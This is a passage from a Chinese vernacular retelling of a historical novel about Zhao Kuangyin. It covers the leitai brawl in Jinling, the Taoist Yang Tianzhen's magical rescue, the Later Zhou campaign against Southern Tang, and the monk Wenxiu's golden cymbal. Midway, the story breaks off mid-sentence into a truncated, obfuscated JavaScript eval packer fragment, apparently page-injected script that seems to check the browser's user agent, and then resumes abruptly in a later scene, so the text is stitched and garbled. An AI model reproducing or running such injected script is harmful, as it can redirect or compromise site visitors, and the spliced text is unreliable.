众人一听,都觉得有道理,纷纷点头。高怀德想了想说:“不如明天早上咱们早点起,趁郑恩没睡醒,先准备好早点,然后把他灌醉,等他睡熟了,咱们再出去。这样他就不会跟着了。”众人都觉得这主意好,商量好后,就各自回房睡觉了。 第二天一早,天刚亮,赵匡胤等人就起床了。此时郑恩还在呼呼大睡,打着响亮的呼噜。赵匡胤让家将去跟店老板说,早点要一壶烧酒、四壶白开水,还要一些点心,让店老板赶紧送来,不能耽误。店老板赶紧应下,先送来了四盆洗脸水。 赵匡胤等人洗完脸,店老板也把点心送来了。几人刚拿起点心吃,郑恩就揉着眼睛醒了,他坐起来,嘴里还嘟囔着:“昨天的酒可真够劲,现在嘴里还有酒味呢。”说完,就起身出去上厕所了。 等郑恩回来,见众人正在吃点心,就不满地说:“你们怎么不等我就先吃了?也太不够意思了!” 韩令坤笑着说:“我们叫了你好几声,你都没醒,还以为你要睡到大中午呢。你看,桶里的热水还热着,就是等你回来洗脸的。” 郑恩听了,也没多想,拿起热水洗了脸,就坐到桌子旁,拿起点心往嘴里塞,一边吃一边说:“你们肯定都吃得差不多了,剩下的都给我,我来当个‘净盘将军’,一点都不浪费。” 众人听了,都哈哈大笑:“什么净盘将军,明明就是个贪吃的大王!” 不一会儿,店小二就把早点送来了,一壶烧酒放在桌子中间,四壶白开水放在旁边,每壶水上面都做了小小的暗记——这是几人事先跟店小二说好的,怕拿错了。众人各自拿起有暗记的水壶,把那壶烧酒推到了郑恩面前。 郑恩最喜欢喝酒,哪里会注意这些细节,一看见烧酒,眼睛都亮了,拿起酒壶就给自己倒了一杯,一饮而尽。赵匡胤等人一边吃点心,一边故意劝郑恩喝酒:“郑哥,这酒不错,多喝点。”“就是,反正今天也没什么事,喝个痛快。” 郑恩本来就喜欢喝酒,被众人一劝,更是来者不拒,一杯接一杯地喝。那壶烧酒很快就见了底,店小二又按照事先的安排,添了两壶烧酒。郑恩喝得兴起,根本没注意到众人都在喝白开水,没过多久,就醉得晕头转向,趴在桌子上睡着了。 家将赶紧上前,把郑恩扶到床上躺好。赵匡胤对家将吩咐道:“要是郑爷醒了问我们去哪了,你们就说我们去帅府拿马价银子了,让他在店里等着,别乱跑。”家将领了命令,赵匡胤等人就换上了干净的衣服,牵来事先备好的马,悄悄出了客店。 几人骑上马,先往金陵城里最热闹的三山街去,然后又往城外的紫金山方向走。一路上,只见金陵城里家家户户都开门做生意,茶坊、酒肆的幌子高高挂着,街上的行人穿着讲究,说话也温温柔柔的,一派繁华景象。李重进忍不住感叹:“这金陵城可真富有,比咱们汴京还热闹几分,难怪南唐敢跟咱们作对。” 出了城门,几人放眼望去,只见远处青山绿水,近处翠柏苍松,地上长满了绿油油的草,树枝上开着五颜六色的花,天空湛蓝,云朵像棉花一样飘着,景色美得让人移不开眼。几人假装是来游玩的商人,骑着马在城外慢慢走,眼睛却不停地观察四周的地形:哪里的城墙比较矮,哪里有可以藏兵的山谷,哪里的水路能通大船,都一一记在心里。 赵匡胤指着远处的城墙说:“你们看,这金陵城的城墙又高又厚,上面还有不少箭楼,硬攻肯定不行,得找个薄弱的地方才行。” 高怀德顺着赵匡胤指的方向看过去,点头说:“是啊,我刚才看了几个城门,守卫都很严,想从城门进去不容易。不过刚才路过凤凰台门的时候,我看见那边比较空旷,旁边还有一条小路,或许能从那条小路绕到城里去。” 几人正说着,忽然看见不远处的空地上挤满了人,吵吵嚷嚷的,好像很热闹。赵匡胤好奇地说:“那边怎么这么多人?咱们去看看。” 几人拍马走过去,挤开人群一看,原来那里搭了一个擂台,擂台上挂着五颜六色的彩缎,旁边还放着不少银子和元宝。擂台下面立着一块大牌子,上面写着:“南唐主驾下敕封威镇金陵教师李豹示:遵旨摆设擂台,招致天下英雄,比试武艺。如有能上台打一拳者,赏银五十两、元宝一个、彩缎十端;有能踢一脚者,赏银一百两、元宝两个、彩缎二十端;再有武艺高超,能全胜者,愿让教师之位,绝不争执。怕死者休得上台,不怕死者上来纳命!” 赵匡胤看完,忍不住冷笑一声:“这李豹也太狂妄了,竟然敢说这样的大话,真当天下没人能打过他了?” 高怀德也不服气地说:“就是,我倒要上去会会他,看看他到底有多大本事。” 赵匡胤赶紧拉住他:“贤弟别急,先看看情况再说。这李豹既然敢摆擂台,肯定有点本事,你上去的时候一定要小心,别大意。”

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又打了几个回合,高怀德故意卖了个破绽,假装被李豹逼得节节后退,还故意露出了后背。李豹以为高怀德快不行了,赶紧追上去,伸手就想抓高怀德的衣服。高怀德等的就是这个机会,他突然往下一蹲,从李豹的胳膊底下钻了过去,绕到了李豹的身后。 李豹还没反应过来,高怀德已经伸手抓住了李豹腰间的暖肚(一种护腰的东西)。李豹赶紧想转身,可高怀德的动作更快,一只手抓着暖肚,另一只手抓住了李豹的左腿。李豹拼命挣扎,可高怀德的力气太大,他根本挣不开。高怀德松开抓暖肚的手,又抓住了李豹的右腿,然后双手一使劲,把李豹举了起来,晃了晃,就朝台下扔了下去。 就在这时,郑恩突然从人群里挤了进来。原来郑恩被灌醉后,睡了没多久就醒了,他睁开眼睛一看,屋里没人,就问家将:“他们去哪了?”家将按照赵匡胤的吩咐,说:“几位爷去帅府拿马价银子了。” 郑恩一听,心里不高兴了:“好啊,他们竟然不叫我,自己去拿银子了!不行,我得去找他们。”说完,就跳下床,也不骑马,一路跑出了客店,往帅府的方向跑去。 到了帅府门口,郑恩不敢进去,就在门口东张西望,想找赵匡胤等人的身影。他看见一个帅府的当值人员从里面出来,赶紧上前拱了拱手,问道:“大哥,请问今天有没有几个辽国来的马客来拿马价银子啊?” 那当值人员看郑恩长得五大三粗,皮肤黝黑,穿着辽国商人的衣服,以为他也是来拿银子的,就老实回答:“今天没有马客来拿银子啊。” 郑恩一听,心里更纳闷了:“他们没去帅府,那会去哪了?难道是故意瞒着我,去别的地方玩了?不行,我得去找找他们。”说完,就转身出了城,漫无目的地往前走,走着走着,就听到前面有热闹的声音,顺着声音找过来,就到了擂台这里。 郑恩挤开人群,刚抬起头,就看见高怀德把一个人从擂台上扔了下来。他以为是高怀德在跟人玩,就大声喊:“高兄弟,我来了!”他这一嗓子,声音又大又粗,像打雷一样,周围的人都被吓了一跳。 郑恩也不管地上的人是谁,跑过去对着那人的胸口就踢了几脚。可他没想到,自己的力气太大,那人才刚被扔下来,本来就受了伤,被他这么一踢,当场就没了气。 周围的人一看,都慌了,大喊:“不好了!杀人了!青天白日的,竟然活活把人打死了!不能让他们跑了!” 赵匡胤等人本来还在为高怀德赢了高兴,一听郑恩的声音,又看见他把人踢死了,都吓得脸色发白,赵匡胤赶紧说:“不好了,这黑厮又惹祸了!”几人赶紧冲上去,把郑恩拉住。 郑恩还不知道自己闯了祸,还笑嘻嘻地说:“二哥,你们怎么瞒着我来这里玩?早知道我就不睡觉了。” 赵匡胤哪有心思跟他解释,赶紧招呼高怀德下擂台,几人骑上马,就想赶紧离开。可李豹的家人和徒弟早就围了过来,他们刚才看见李豹被扔下来,已经觉得很没面子,现在又看见李豹被踢死,更是急红了眼。一部分人赶紧往帅府跑去报信,另一部分人则拿起身边的棍子、锄头,把赵匡胤等人围了起来。 一个徒弟指着赵匡胤等人,大声喊道:“你们别想走!打死了人,就得偿命!” 赵匡胤冷静下来,大声说:“我们不是故意杀人的,这擂台上的牌子写得很清楚,是李豹自己要摆擂台,比试武艺,失手伤人也是难免的。我们可以把这牌子带去帅府,跟刘元帅说清楚,你们别拦着我们。”说完,几人催马就想往城里走。 周围的人虽然生气,但看赵匡胤等人的气势,知道他们不是普通人,也不敢真的拦着,只能远远地跟着。 再说那些去帅府报信的人,一路跑到帅府,正好赶上刘仁赡在大堂上和将领们商量军情。报信的人“扑通”一声跪倒在地,哭着说:“启禀元帅,不好了!李教师遵旨摆擂台,已经三个月了,没人能打得过他。今天来了几个辽国商人,其中一个人上台跟李教师比试,把李教师扔下了擂台,还有一个黑大汉,上去就把李教师踢死了!我们拦不住他们,特来请元帅做主!” 刘仁赡还没说话,旁边一个将领突然站了起来,他是李豹的哥哥李虎,听到弟弟被打死的消息,眼泪一下子就流了下来,他“扑通”跪倒在地,对刘仁赡说:“元帅,求您派兵,让我去把那些凶手抓回来,为我弟弟报仇!” 刘仁赡点了点头,立刻下令:“调三千精兵,派四个副将,跟着李虎一起去,一定要把那些人抓回来!” 李虎领了命令,带着三千士兵,骑着马就往擂台的方向赶去。走了没多久,就在凤凰台附近遇到了赵匡胤等人。士兵们一见赵匡胤等人,就大声喊:“别让他们跑了!抓住这些凶手!” 赵匡胤等人一看有军队围过来,心里都慌了——他们身上没带武器,只有郑恩刚才从地上捡了一根棍子,根本打不过三千士兵。 郑恩一看情况紧急,突然看见路边有几棵柳树,他想起自己以前在九曲十八湾救驾时,曾拔过枣树当武器,现在也顾不上多想,赶紧跑到柳树旁边,双手抱住一棵中等粗细的柳树,使劲一拔,竟然把柳树连根拔了起来。郑恩拿着柳树,像拿鞭子一样,对着冲过来的士兵就乱扫。 赵匡胤也急中生智,解下腰间的鸾带,对着风一晃,那鸾带竟然变成了一根神煞棍棒(这是赵匡胤的独门法术)。赵匡胤拿着棍棒,对着士兵就打。 正好李□□着马冲了过来,他看见赵匡胤,大声骂道:“你这该死的狂徒,还我弟弟的命来!”说完,举起大刀就朝赵匡胤砍去。赵匡胤赶紧举起棍棒抵挡,两人打了不到十个回合,赵匡胤找准机会,一棍打在李虎的马腿上,马疼得跳了起来,把李虎摔了下来。 郑恩一看李虎摔下来,赶紧跑过去,举起柳树就往李虎身上打,没几下就把李虎打得没了气。李重进趁机冲过去,拉住了李虎的马,翻身上马,对着众人喊:“快上马,咱们冲出去!” 赵匡胤等人赶紧上马,一边打一边往城外跑。士兵们在后面紧追不舍,追了三十多里地,天色渐渐暗了下来,几人也累得够呛,肚子也饿了。 正在危急关头,赵匡胤突然看见路边有一座庙,庙门上写着“显真道院”四个大字。他赶紧说:“快,进庙里躲一躲!”几人催马进了庙门,翻身下马,刚想喘口气,就听到庙后面传来马叫声。 几人心里一惊,以为是追兵来了,赶紧做好战斗的准备。可等了一会儿,从庙廊下跑出来十几个大汉,几人仔细一看,原来是自己带来的家将! 赵匡胤松了口气,问道:“你们怎么在这里?” 家将赶紧回答:“爷,我们奉命在客店里等着,中午的时候,郑爷醒了,问起各位爷的去向,我们就按您的吩咐,说您去帅府拿马价银子了。郑爷听了,就跑出去了。我们怕郑爷出事,又不敢跟上去,就赶紧算清了店账,收拾好行李,准备去找您。正好帅府派人把马价银子送来了,我们拿了银子,就赶紧出城。路过这里的时候,遇到了道院里的道长,道长说您几位今天下午肯定会来这里,让我们在这等着,还准备了饭菜。我们看道长说得有道理,就留在这里等您了,没想到您真的来了。” 赵匡胤等人听了,都觉得奇怪,这道长怎么知道他们会来这里?正说着,从庙殿后面走出一个道长,这道长长得眉清目秀,气质不凡,一看就不是普通人。他走到赵匡胤等人面前,拱手行礼:“各位王爷,贫道稽首了。” 赵匡胤等人赶紧回礼,赵匡胤说:“多谢仙长收留,只是我们惹了祸,后面有追兵,不能在这里多停留,还得赶紧走。” 道长呵呵一笑:“王爷不必担心,那些士兵虽然多,但也奈何不了贫道。只要贫道出去,保证他们没人能靠近这道院半步,让他们来多少,走多少。”说完,道长转身进了房里,拿了一把宝剑,慢慢走出殿来。 这一去,可就有意思了——这安静的道院,竟然要变成血流成河的地方;这争夺城池的战争,也将要迎来更惨烈的厮杀。正是:别人的床榻容不得自己安睡,要摧毁敌人的巢穴,还得靠自己动手。 到底这道长出去后,怎么打退追兵呢?咱们下回再接着说。 56. 第 56 章 话说赵匡胤带着郑恩、高怀亮等一群兄弟,在金陵的擂台上失手打死了南唐的教教师李豹,这事儿可捅了马蜂窝——南唐元帅刘仁赡当即点齐兵马,顺着他们逃跑的方向追了过来。几人骑着马一路狂奔,背后的马蹄声、喊杀声越来越近,郑恩一边挥着板斧打马,一边骂骂咧咧:“他娘的李豹,不经打就算了,还招来这么多兵,要是让老子再碰见,定要把他尸身再劈三瓣!”赵匡胤眉头紧锁,心里却比谁都急:“兄弟们跟着我出来探路,要是因为这点事折在这里,我怎么对得住世宗陛下,怎么对得住兄弟们的家小?” 正慌不择路时,前面林子里忽然露出一角道观的飞檐,门楣上写着“显真观”三个大字。“快,进观躲躲!”赵匡胤一挥手,众人催马冲到观前,翻身下马就往门里闯。刚进院子,就见几个熟悉的身影迎了上来——竟是他们提前派来探路的家将!原来家将们怕主人们路上有闪失,先到这观里歇脚,想着等众人汇合,没成想倒先遇上了。 家将们引着众人往殿里走,刚坐下喝了口热茶,就见一个穿青布道袍的老道从后殿走出来。这老道须发半白,手里拄着根桃木杖,眼神却亮得像星星。“几位施主看着面有忧色,莫不是遇到了难处?”老道刚开口,院外就传来一阵杂乱的脚步声,紧接着是兵器碰撞的脆响——追兵竟然找过来了! 郑恩“腾”地站起来,就要抄板斧:“怕他个鸟!大不了跟他们拼了!”高怀亮也按住了腰间的佩刀,其余人也都站起身,一个个紧绷着脸。赵匡胤却按住众人,对老道拱手:“道长,我们是汴京来的客商,不知为何被南唐兵追杀,还望道长行个方便,容我们暂避一时。”老道捋了捋胡须,忽然笑了:“施主不必隐瞒,贫道观你们身上的煞气,就知不是普通客商。放心,这点兵卒,贫道观我来打发。” 说罢,老道转身回房取了一把长剑,慢悠悠地走出山门。山门外来了足足有两百多兵卒,四员副将骑着马,正指着观里嚷嚷:“里面的人听着!赶紧把杀了李教师和李将军的凶徒交出来,不然我们一把火烧了这破观!”老道站在台阶上,声音不高却字字清晰:“诸位兵爷,贫道观里只有香火客,没有你们要找的人,你们是不是找错地方了?” 为首的副将催马上前,指着院里拴着的十几匹战马,眼睛都红了:“你这老杂毛还敢撒谎!没凶徒?那这些马是哪来的?我看你就是跟凶徒一伙的,今天连你一起抓!”说着,四员副将一起催马,手里的长枪大刀朝着老道就劈了过来。老道不慌不忙,长剑一横,“叮”的一声就挡住了最先劈来的大刀。 两人打了没几个回合,老道忽然虚晃一招,转身就往观里跑。“别让他跑了!”四员副将以为老道怕了,催马就追。刚进院门,就见老道突然停下脚步,嘴里念念有词,手里的长剑“嗖”地扔了出去。那剑在空中转了个圈,突然金光一闪,竟变成了一条水桶粗的蟒龙!蟒龙张着血盆大口,嘴里喷着熊熊烈火,朝着追兵就冲了过去。 兵卒们哪见过这阵仗,吓得魂飞魄散,转身就往门外跑。跑慢的被火燎了衣裳,头发都烧卷了,哭爹喊娘的声音满山都是。赵匡胤等人在殿里看得真切,郑恩第一个冲出去:“他娘的,现在该咱们报仇了!”众人跟着冲出去,捡起地上的枪刀,对着溃散的兵卒砍杀起来。四员副将被蟒龙追得没处躲,最后都成了刀下亡魂,两百多兵卒死的死、逃的逃,没剩下几个。 等众人回到殿里,一个个还喘着粗气。赵匡胤带头对着老道拱手:“多谢道长救命之恩!不知道长高姓大名,我们也好记着这份恩情。”老道坐下喝了口茶,慢悠悠地说:“贫道姓杨,名叫天真,在这观里住了三十多年,无师无徒,就一个人。平时爱管点闲事,见不得人受欺负,所以没什么朋友,倒也落得清净。” 郑恩挠了挠头:“道长您这么大本事,还怕没朋友?不过您这脾气,俺喜欢!”赵匡胤却皱着眉:“道长,我们杀了南唐的将官,他们肯定还会派兵来。我们走了倒好,怕就怕连累道长……”杨天真摆了摆手:“施主放心,他们再来,贫道自有办法应付。倒是你们,要回汴京,总得渡江,贫道送你们一程吧。” 这话一出口,众人都愣住了——他们从没跟老道说过要回汴京,更没提过渡江的事!郑恩立刻瞪起眼睛:“道长,你可别瞎说!我们是大辽来的马贩,要去江南卖马,不是什么汴京来的!”杨天真哈哈一笑,指着赵匡胤:“这位是归德军节度使赵匡胤,这位是北平王郑恩,那位是高怀亮将军……你们几位的身份,贫道早就知道了。要是不知道,怎么会让家将提前备饭等着你们?” 众人这下是真服了,赵匡胤也不再隐瞒,连忙道谢。家将们赶紧去收拾行李、备马,杨天真也回房打了个小包裹。可没等他们出门,观外又传来了喊杀声——原来那些逃回去的兵卒,把杨天真用法术杀兵的事告诉了刘仁赡。刘仁赡气得拍碎了帅案,当即派了大将王能、赵叔,带三千兵马过来,非要把“汴京奸细”抓回去。 “这下麻烦了,三千兵马,硬冲肯定不行!”高怀亮急得直跺脚。杨天真却很镇定,从包裹里掏出十几张黄色的符纸:“诸位莫慌,贫道有土遁之术,能送你们直接回汴京。”说着,他把符纸分给众人和家将,让他们贴在额头上,自己则闭上眼睛,嘴里念起了咒语。 “疾!”随着杨天真一声大喝,众人只觉得脚下一轻,身体像飘了起来,耳边全是呼呼的风声,眼睛也睁不开。高怀亮心里直打鼓:“这啥法术啊,不会把我吹到江里去吧?”赵匡胤却稳了稳心神,心里想:“杨道长是高人,肯定不会骗我们,说不定这就是天意,让我们逢凶化吉。” 不知过了多久,脚下突然碰到了实地。“可以睁眼了。”杨天真的声音传来,众人摘下符纸一看,都惊呆了——眼前竟是汴京的朱雀门!街上的行人穿着汴京的衣裳,叫卖声也是熟悉的乡音。“这……这就到汴京了?”郑恩揉了揉眼睛,不敢相信。 杨天真收拾好符纸,对众人拱手:“贫道就送各位到这了,就此别过。”赵匡胤赶紧挽留:“道长,您救了我们的命,我们还没报答您呢!明日我就奏请陛下,让您在宫里享清福,或者我们兄弟轮流供奉您!”杨天真摇了摇头:“贫道不求名利,只要诸位能为天下百姓做事,就是对贫道最好的报答了。”说罢,他身子一晃,化作一阵清风,不见了踪影。众人对着空气拜了拜,才各自回了府第。 第二天一早,赵匡胤就跟着众臣上朝。世宗柴荣见他回来,赶紧让他坐下:“二御弟,你去金陵探路,情况怎么样?怎么去了这么久?”赵匡胤把从卖马到打擂、再到杨天真土遁救主的事,一五一十地说了一遍。世宗又惊又喜,惊的是赵匡胤等人差点出事,喜的是他们能平安回来,还遇上了高人相助。 “南唐如此无礼,竟敢追杀朕的御弟!”世宗拍了下龙椅,“朕看,是时候亲征南唐了!二御弟,你觉得何时出兵合适?”赵匡胤站起身:“陛下,南唐虽然地广人多,但城池防备薄弱,现在秋高气爽,马也壮,正是出兵的好时候!”世宗听了,当即下了诏书,历数南唐的罪状:“南唐占据淮甸,竟敢僭称帝号,还招纳叛兵、勾结契丹,害苦了百姓,朕今日亲征,就是要替天行道!” 诏书一下,满朝文武都动了起来。世宗封赵匡胤为元帅,高怀亮为先锋,李穀为左右救应使,韩令坤负责督运粮草,李重进等十二员大将随军出征,一共点了二十万大兵。赵匡胤又传令,让李穀和李重进先去打滁州、扬州、泰州,分散南唐的兵力,自己则带大军从南界牌关进攻。 韩令坤领了督运粮草的差事,心里却犯了嘀咕:“粮草要从汴京运到南界关,路上要经过南唐的边境,万一被劫了可就麻烦了。”他奏请世宗,派了校尉王虎带五百精兵护送粮草。王虎领了命令,拍着胸脯保证:“韩大人放心,末将就是拼了命,也得把粮草安全送到!” 这边周军忙着准备,那边南唐早就乱成了一锅粥。唐主李璟听说周世宗要亲征,吓得脸色发白,赶紧召大臣们来议事。大臣们你看我、我看你,没人敢说话。只有刘仁赡站出来,沉着地说:“主上别慌,兵来将挡,水来土掩。咱们只要派大将去抵挡,未必会输。要是现在就慌了,反而会被西蜀笑话。” 李璟听了,才稍微定了定神,封刘彦真为统军节度使,刘仁赡为清淮节度使,各带五万兵去淮扬二州抵挡周军;又让国师文修和尚带五万兵去清流关接应。这文修和尚是陕西风雪山演教寺的住持,这次下山,是因为寺庙的殿宇塌了,佛像也坏了,他来南唐募化,想让李璟出钱修庙。李璟答应他,只要能退了周军,就派人去修庙,文修这才答应出兵。 临走前,枢密使陈景文拉住文修:“文长老,周军的赵匡胤可不是普通人,听说他勇猛过人,你虽有金铙法宝,也得小心应对,别太逞强。”文修点了点头,心里却想着:“只要能退了周军,寺庙就能修好,这也是功德一件,我得尽力。” 周军这边,李穀带着先头部队先到了寿州城下。寿州城高墙厚,刘仁赡又早有防备,李穀攻了几天,也没攻下来。正着急呢,又听说刘彦真带了几百艘战船,在淮河上摆开了阵势,看样子是要断他的浮梁——那浮梁是周军过江的通道,要是被断了,周军就成了孤军,腹背受敌。 李穀赶紧召集众将商议:“咱们的兵都不善水战,要是浮梁被断了,可就麻烦了。我看不如先退守浮梁,等陛下和元帅来了再说?”众将意见不一,有的说要趁南唐战船没摆好,主动出击;有的说还是退守稳妥。李穀拿不定主意,只好派人去给世宗送信,自己先带兵退到了浮梁。 世宗收到信,赶紧让人去拦李穀,不让他退兵,又让李重进带兵去淮上,跟唐兵交战。可李重进的粮草还没到,没法出兵。李穀听说后,又给世宗写信:“陛下,南唐的战船天天往淮河开,水也越来越大,要是粮草还没到,咱们可就危险了。您不如先驻在陈州,等李重进的兵到了,我再跟他一起过江,看看能不能挡住南唐的战船。要是实在不行,咱们就等冬天,等南唐的兵疲了,再一举进攻。” 世宗把信给赵匡胤看,赵匡胤摇了摇头:“陛下,李穀的计策太慢了。现在两军对峙,就像骑在老虎背上,根本不能等!您不如下道诏书,让李穀和李重进合兵一处,主动迎战,肯定能赢。”世宗觉得有道理,当即下了诏书。 那边刘彦真听说李穀退了兵,高兴得不得了,非要带兵去正阳县追杀。刘仁赡和池州刺史张全约赶紧拦住他:“李穀没等咱们到就退了,肯定是怕了咱们,没必要再追。万一有埋伏,可就后悔莫及了!”刘彦真却不耐烦地推开他们:“你们就是胆小!周兵缺粮才退的,现在不追,等他们缓过来,就没机会了!” 刘仁赡看着刘彦真的背影,叹了口气:“他不听劝,这次肯定要败。咱们还是赶紧登城防守,别被连累了。”张全约点了点头,赶紧带兵去淮河边上守着。 李重进收到世宗的诏书时,粮草刚好到了。他立刻带兵过江,在安庆城外扎了营。刘彦真的兵也到了安庆,连营扎了十几里地。李重进登上高处一看,笑着对众将说:“就这布阵,想赢咱们?太容易了!”他派部将曹英带三千兵,从上游绕过去,准备出其不意偷袭唐营,自己则在正面布阵。 第二天一早,刘彦真带着兵来到周营前挑战。他手提长枪,指着李重进骂:“你这毛头小子,赶紧退兵,不然爷爷把你剁成肉酱!”李重进气得火冒三丈,刚要提刀上阵,身后突然冲出一员大将,大声说:“将军别急,让末将去收拾他!”这大将叫张万,力大无穷,手里抡着一把大斧。 张万拍马冲上去,跟李重进打了起来。两人刀斧相向,打了五十多个回合,也没分出胜负。李重进心里想:“这张万倒是有点本事,硬拼不行,得用计。”他故意卖了个破绽,拨马就跑。张万以为他怕了,催马就追。眼看就要追上,李重进突然按住刀,从背上取下弓箭,回身就是一箭。张万没防备,箭正好射中他的胸口,当场从马上摔了下来,没气了。 刘彦真见张万死了,气得眼睛都红了,拍马就冲了上来。李重进也回马迎战,两人打了一百多个回合,还是难分胜负。就在这时,远处突然传来一声炮响——曹英带着兵从上游杀过来了!唐兵一下子乱了阵脚,刘彦真知道打不过,拨马就跑。 曹英带着兵追上去,唐兵跑得丢盔弃甲。刘彦真跑了没几里地,又听见前面金鼓喧天,一彪周兵冲了出来,为首的大将是李穀的步将王成。原来王成是来跟李重进汇合的,正好撞见刘彦真逃跑。 刘彦真前后被堵,只好跟王成拼命。可他的马跑了一路,早就累得不行,刚打了三个回合,马腿一软,把刘彦真摔在了地上。周兵一拥而上,乱刀把他砍死了。李重进带着兵赶过来,趁机大杀一阵,唐兵死的死、降的降,粮草盔甲也被周军缴获了不少。 刘仁赡在寿州城上,看到唐兵大败,赶紧收拾刘彦真的残兵,跟张全约一起退守寿州,又连夜派人去金陵给李璟报急。李璟听说刘彦真全军覆没,吓得差点从龙椅上摔下来,又召大臣们议事。陈景文说:“周军现在势头正盛,咱们不能跟他们硬拼。不如派大将去守清流关,挡住周军的路。” 李璟赶紧派皇甫暉和姚凤带一万兵,去清流关跟文修和尚汇合。姚凤心里不踏实,对皇甫暉说:“清流关是重要的关口,咱们得好好守,可不能丢了。”皇甫暉却满不在乎:“怕什么?周军要是来了,咱们再退到滁州,拆了桥,他们也过不来。”姚凤还想劝,可皇甫暉根本不听。 这边李重进拿下了凤阳,派人去给世宗报捷。世宗大喜,封李重进为都招讨,让他去打寿州。李重进带着兵来到寿州城下,天天攻城,可寿州城太坚固,刘仁赡又防守得严,攻了二十多天,也没攻下来。李重进闷在帐里,愁得饭都吃不下。 就在这时,帐外传来通报:“元帅赵匡胤到了!”李重进赶紧迎出去,把攻城的难处说了一遍。赵匡胤跟着他到城下看了看,说:“寿州城坚,刘仁赡又会守城,硬攻肯定不行。咱们得用计——你带兵退到十五里外扎营,就说军里缺粮,要退兵。再选些精兵埋伏在必经之路,等他们追来,伏兵杀出来,我再带精兵从后面夹击,肯定能拿下寿州。” 李重进听了,赶紧照办。第二天,寿州城里的探马就把周军退兵的消息告诉了刘仁赡。刘仁赡派人再去探,回来的人说:“周军确实缺粮,退到十五里外扎营了,好像是怕咱们追,才没走远。” 都监何延锡一听,立刻站出来:“元帅,周军缺粮退兵,这是真的!咱们赶紧出兵追,杀他们个片甲不留!”刘仁赡皱着眉:“周将诡计多端,这恐怕是诱敌之计,不能追。”何延锡却不服气:“元帅,您也太小心了!再不出兵,周军就跑远了,咱们什么时候才能报仇?”他没等刘仁赡答应,就偷偷带了五千兵,出了寿州城,往周军撤退的方向追去。 李重进早就在营里等着,见何延锡来了,故意装作慌张的样子,下令拔营逃跑,士兵们也故意喊着“没粮了,快跑”,丢了不少枪刀在地上。何延锡一看,高兴得大笑:“天助我也!周军真的缺粮了,兄弟们,快追,别让他们跑了!” 唐兵跟着追了五里地,突然听见一声炮响,两边林子里冲出无数周兵,为首的大将是曹英。“贼将,哪里跑!”曹英手提大刀,朝着何延锡就砍了过来。何延锡吓得魂都飞了,赶紧举刀抵挡。可他哪里是曹英的对手,没打五个回合,就被曹英一刀砍死了。 周兵趁势杀过来,唐兵大败。赵匡胤带着精兵从后面抄过来,趁机攻打寿州城。刘仁赡在城上看到周军杀来,知道大势已去,只好带着残兵,从北门逃出去,退守泰州。赵匡胤顺利拿下了寿州,派人去迎世宗进城。 世宗住进寿州城,召见了赵匡胤,高兴地说:“二御弟,你又立了大功!朕要好好赏你!”赵匡胤却奏道:“陛下,李重进的兵要守淮河,不能动;李穀在正阳也得守着,防备南唐的援兵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文修和尚勒住马,冷笑一声:“洒家乃南唐护國禪師文修!你这匹夫,敢来送死,洒家就替佛祖超度你!”王壬武大怒,催马挺枪,朝着文修就刺了过去。文修举起禅杖,“铛”的一声挡住了长枪。两人你来我往,打了三十多个回合,文修渐渐有点吃不消了——他没想到王壬武这么厉害。 文修心里想:“再打下去,我肯定不是他的对手,只能用金铙了。”他虚晃一杖,拨马就跑。王壬武哪里肯放,拍马就追:“贼秃驴,别跑!爷爷还没跟你打够呢!” 文修听着身后的马蹄声越来越近,赶紧伸手从怀里掏出一个金铙——这金铙有巴掌大,金光闪闪,是他的师父传给他的法宝。“佛祖保佑,弟子今日不得已,要用法宝了!”文修嘴里念叨着,把金铙往空中一抛。那金铙在空中突然变大,发出刺眼的红光,像一只飞鹰似的,朝着王壬武的头就劈了下来。 王壬武光顾着追,没防备他会扔法宝,等看到金铙劈过来,已经来不及躲了。“不好!”他只喊了一声,就被金铙劈中了头,当场从马上摔了下来,没了气息。 逃回来的兵卒把消息报给赵匡胤,赵匡胤气得拍碎了帅案:“这贼秃竟敢伤我大将!谁再去会他,为王将军报仇!”帐里的众将你看我、我看你,都没人敢应声——刚才王壬武的本事大家都知道,连他都被金铙杀了,谁还敢去送死? 赵匡胤见没人应声,怒火更盛:“好!你们不敢去,我去!”他当即披挂整齐,提上自己的大刀,翻身上马,带着众将出了南界关。 文修正坐在马上得意,见关里出来一员大将,身穿白袍,头戴金盔,相貌堂堂,威风凛凛,心里不由得咯噔一下:“这人莫非就是赵匡胤?”他催马上前,问道:“来者可是南宋王赵匡胤?” “正是本帅!”赵匡胤瞪着他,“你这贼秃,竟敢助纣为虐,伤我大将,今日本帅定要斩了你,为王将军报仇!”说罢,他催马挺刀,朝着文修就砍了过去。文修赶紧举禅杖抵挡,两人打了二十多个回合,文修又有点吃不消了——赵匡胤的刀法又快又狠,比王壬武还厉害。 “看来只能再用金铙了。”文修心里想着,又虚晃一杖,拨马就跑。赵匡胤哪里肯放:“贼秃驴,别跑!今日本帅定要取你的狗命!”他拍马追了上去。 追了有三里地,文修又掏出金铙,往空中一抛。金铙再次变大,发出红光,朝着赵匡胤的头劈了下来。赵匡胤看着金铙劈过来,心里一急:“我要是死了,兄弟们怎么办?世宗陛下怎么办?”就在这危急关头,他的头顶突然冒出一股白烟,烟里现出一条赤须火龍——这是他的元神,只有真命天子才会有。 赤须火龍伸出爪子,一把就抓住了金铙,金铙怎么也落不下来。文修回头一看,吓得差点从马上摔下来:“赤须火龍!他……他竟是真命天子!我要是伤了他,就是逆天而行,会遭天谴的!”他赶紧念动咒语,把金铙收了回来,翻身下马,跪在路边。 赵匡胤本来闭着眼睛等死,等了半天没动静,睁开眼一看,见文修跪在地上,心里纳闷:“这贼秃怎么突然跪下了?”他勒住马,问道:“你这贼秃,怎么不打了?” 文修低着头,声音都在发抖:“真主饶命!弟子有眼不识泰山,不知道您是真命天子,差点犯了大错,从今以后,弟子再也不敢跟周军为敌了。” 赵匡胤更纳闷了:“你既然是出家人,不好好在庙里念经,怎么来帮南唐打仗?”文修赶紧解释:“真主有所不知,弟子是陕西风雪山演教寺的住持,庙里的殿宇塌了,佛像也坏了,弟子下山募化,想让南唐主出钱修庙。他答应弟子,只要能退了周军,就派人去修庙,弟子一时糊涂,才来助战。今日见了真主的元神,才知道自己错了,再也不敢管闲事了。” 